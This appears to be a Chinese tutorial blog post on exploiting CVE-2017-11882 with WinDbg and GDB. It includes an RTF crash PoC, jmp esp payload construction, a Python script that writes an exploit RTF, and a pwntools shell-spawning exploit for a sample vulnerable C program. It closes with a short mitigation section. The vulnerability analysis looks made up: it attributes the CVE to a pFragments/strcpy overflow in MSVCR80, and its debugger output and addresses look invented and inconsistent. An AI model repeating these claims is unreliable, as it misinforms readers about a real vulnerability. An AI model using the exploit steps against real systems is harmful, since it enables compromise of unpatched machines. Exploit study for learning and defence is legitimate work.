从CVE-2017-11882到实战：用Windbg和GDB手把手调试你的第一个栈溢出漏洞-程序员充电站

从CVE-2017-11882到实战：用Windbg和GDB手把手调试你的第一个栈溢出漏洞

当你在网络安全领域摸爬滚打一段时间后，总会遇到那个令人既兴奋又畏惧的时刻——第一次面对真实的二进制漏洞。CVE-2017-11882这个经典的Office栈溢出漏洞，就像二进制安全领域的"Hello World"，是每个PWN爱好者必须攻克的第一个堡垒。但当你真正打开Windbg或GDB，面对密密麻麻的汇编指令和内存地址时，那种无从下手的感觉可能会让你望而却步。

本文将带你穿越理论到实践的鸿沟，从零开始搭建调试环境，一步步追踪漏洞触发点，直到最终完成漏洞验证。不同于那些只讲原理的教程，这里每个步骤都有详细的操作指导和避坑指南，就像一位经验丰富的导师在你身边手把手教学。无论你是刚学完基础理论的二进制新手，还是已经了解漏洞原理但缺乏实战经验的开发者，都能从这里获得真正可操作的实战技能。

1. 环境搭建与样本准备

在开始漏洞调试之前，我们需要精心准备实验环境。这个环节往往被很多教程忽略，但却是实战中最容易出问题的地方。一个配置不当的环境可能导致后续所有工作都无法进行。

首先需要准备以下组件：

虚拟机环境（推荐VMware或VirtualBox）
未打补丁的Office 2016或更早版本
Windbg调试器（Windows平台）
GDB配合Pwndbg插件（Linux平台）
漏洞样本（PoC文件）

关键配置步骤：

虚拟机建议使用Windows 7 SP1 x86系统，这是最稳定的漏洞复现环境
Office版本必须确认未安装KB4011160补丁
Windbg需要配置符号路径：.sympath srv*https://msdl.microsoft.com/download/symbols

注意：实验环境必须断开网络连接，避免样本意外执行导致系统受损

漏洞样本可以使用以下简单的RTF PoC文件：

{\rtf1{\shp{\sp{\sn pFragments}{\sv 414141414141414141414141414141414141}}}}

这个PoC文件通过超长的字符串触发栈溢出漏洞。保存为.rtf格式后，用未打补丁的Word打开即可触发崩溃。

2. 初识崩溃现场

当我们用配置好的Word打开PoC文件时，程序会立即崩溃。这时打开Windbg附加到崩溃的WINWORD.EXE进程，会看到类似以下的崩溃信息：

(1234.5678): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=41414141 edx=00000000 esi=00000000 edi=00000000 eip=41414141 esp=0019fcd4 ebp=0019fcf0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ???

这段信息告诉我们几个关键点：

程序在尝试执行地址0x41414141处的指令时崩溃
0x41是字母'A'的ASCII码，说明我们输入的字符串覆盖了EIP寄存器
ESP和EBP寄存器仍然指向有效地址，说明栈没有被完全破坏

关键调试命令：

!analyze -v：自动分析崩溃原因
kb：显示当前调用栈
dd esp：查看栈内存内容

3. 定位漏洞触发点

现在我们需要找出是哪个函数处理我们的恶意输入时发生了溢出。这需要结合静态分析和动态调试。

首先用lm命令查看加载的模块，重点关注Office相关模块。然后通过以下步骤定位漏洞：

在Windbg中设置初始断点：bu MSVCRT!strcpy
重新运行Word并打开PoC文件
当断点触发时，查看调用栈和参数

典型的漏洞函数调用链如下：

0:000> kb # ChildEBP RetAddr Args to Child 00 0019fcd4 3000441d 41414141 0019fce0 0000000a MSVCRT!strcpy 01 0019fcf0 3000445e 0019fe34 0019fe3c 00000000 MSVCR80!DllUnregisterServer+0x1d 02 0019fd00 3000449a 0019fe34 0019fe3c 00000000 MSVCR80!DllUnregisterServer+0x5e

从调用栈可以看出，漏洞发生在MSVCR80.dll中的某个函数（这里显示为DllUnregisterServer，实际可能是名称未正确解析）。关键点是strcpy函数被调用时，目标缓冲区大小不足以容纳我们提供的超长字符串。

漏洞原理分析：

程序在处理RTF文档中的shp属性时，使用固定大小的栈缓冲区
未对输入的pFragments属性值进行长度检查
直接使用strcpy将用户输入复制到栈缓冲区，导致返回地址被覆盖

4. 构造有效载荷

单纯的崩溃演示意义有限，我们需要构造能够控制程序执行流程的有效载荷。这需要解决几个问题：

确定偏移量：从输入开始到覆盖EIP的精确距离
寻找可用指令：如jmp esp等跳转指令
编写shellcode：实现特定功能的机器码

确定偏移量：使用Metasploit的pattern_create工具生成唯一字符串：

msf-pattern_create -l 500

将生成的字符串替换PoC中的A字符，重新触发崩溃后查看EIP值：

eip=35724134

用pattern_offset计算精确偏移：

msf-pattern_offset -q 35724134 [*] Exact match at offset 144

寻找跳转指令：在Office模块中搜索jmp esp指令：

0:000> s -b MSVCR80 0 L?ffffffff ff e4 30ABC123 ff e4 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

找到地址0x30ABC123处的jmp esp指令可用。

最终PoC结构：

[A*144] + [jmp_esp_addr] + [nop_sled] + [shellcode]

5. 漏洞验证与利用

现在我们可以组装完整的漏洞利用代码了。以下是一个Python生成PoC的示例：

import struct jmp_esp = struct.pack("<I", 0x30ABC123) # 替换为实际找到的地址 shellcode = ( "\x90" * 16 + # NOP sled "\xcc" * 4 # 调试用的断点指令 ) payload = "A" * 144 + jmp_esp + shellcode rtf = r"{\rtf1{\shp{\sp{\sn pFragments}{\sv %s}}}}" % payload open("exploit.rtf", "w").write(rtf)

当Word打开这个文件时，调试器会捕获到断点异常，证明我们成功控制了程序执行流程：

(1234.5678): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=41414141 edx=00000000 esi=00000000 edi=00000000 eip=0019fce4 esp=0019fce0 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 0019fce4 cc int 3

6. Linux平台下的GDB调试

虽然CVE-2017-11882是Windows漏洞，但类似的调试技术在Linux平台同样适用。假设我们有一个存在栈溢出的Linux程序vuln：

// vuln.c #include <string.h> void vulnerable(char *str) { char buffer[64]; strcpy(buffer, str); } int main(int argc, char **argv) { vulnerable(argv[1]); return 0; }

用GDB调试的步骤如下：

编译时关闭保护机制：

gcc -fno-stack-protector -z execstack -no-pie vuln.c -o vuln

使用Pwndbg增强GDB功能：

gdb ./vuln

确定偏移量和控制EIP：

gdb-peda$ pattern_create 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' Program received signal SIGSEGV, Segmentation fault. EIP: 0x41414641 ('AFAA')

查找跳转指令：

gdb-peda$ asmsearch "jmp esp" 0x080484ce : jmp esp

构造并测试最终payload：

from pwn import * context.update(arch='i386', os='linux') jmp_esp = p32(0x080484ce) payload = b'A'*76 + jmp_esp + asm(shellcraft.sh()) io = process(['./vuln', payload]) io.interactive()

7. 漏洞修复与防护

理解漏洞原理后，我们还需要知道如何修复和防护这类漏洞。对于CVE-2017-11882，微软通过以下方式修复：

输入验证：检查pFragments参数长度
使用安全函数：替换strcpy为strncpy
栈保护：启用GS编译选项

现代防护技术对比：

防护技术	原理	绕过难度
DEP/NX	数据页不可执行	需要ROP
ASLR	随机化内存布局	需要信息泄露
Stack Canary	检测栈破坏	需要泄露canary值
CFG	控制流完整性检查	需要找到合法跳转目标